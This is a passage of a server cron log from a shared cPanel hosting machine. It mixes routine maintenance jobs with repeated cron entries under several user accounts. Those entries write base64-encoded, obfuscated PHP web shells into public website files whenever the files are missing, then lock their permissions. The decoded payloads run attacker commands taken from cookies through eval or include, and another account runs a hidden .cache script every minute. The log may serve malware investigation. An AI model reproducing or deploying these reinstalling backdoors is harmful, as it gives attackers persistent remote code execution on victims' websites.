6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:43:02 medusa CROND[7412]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:43:02 medusa CROND[7410]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  2 07:44:01 medusa CROND[24165]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 07:44:01 medusa CROND[24167]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:44:01 medusa CROND[24168]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:44:01 medusa CROND[24169]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:44:01 medusa CROND[24174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:44:01 medusa CROND[24175]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:44:01 medusa CROND[24176]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:44:01 medusa CROND[24177]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:44:01 medusa CROND[24181]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:44:01 medusa CROND[24182]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:44:01 medusa CROND[24179]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 07:44:01 medusa CROND[24187]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:44:01 medusa CROND[24194]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:45:01 medusa CROND[8441]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 07:45:02 medusa CROND[8690]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:45:02 medusa CROND[8691]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 07:45:02 medusa CROND[8692]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 07:45:02 medusa CROND[8693]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:45:02 medusa CROND[8695]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:45:02 medusa CROND[8696]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:45:02 medusa CROND[8699]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 07:45:02 medusa CROND[8704]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 07:45:02 medusa CROND[8710]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 07:45:02 medusa CROND[8715]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 07:45:02 medusa CROND[8703]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:45:02 medusa CROND[8724]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:45:02 medusa CROND[8726]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:45:02 medusa CROND[8727]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:45:02 medusa CROND[8729]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:45:02 medusa CROND[8731]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:45:02 medusa CROND[8737]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 07:45:02 medusa CROND[8717]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 07:45:02 medusa CROND[8718]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 07:45:02 medusa CROND[8716]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 07:45:02 medusa CROND[8743]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 07:45:02 medusa CROND[8745]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:46:02 medusa CROND[29447]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:46:02 medusa CROND[29448]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 07:46:02 medusa CROND[29449]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:46:02 medusa CROND[29450]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 07:46:02 medusa CROND[29453]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:46:02 medusa CROND[29454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
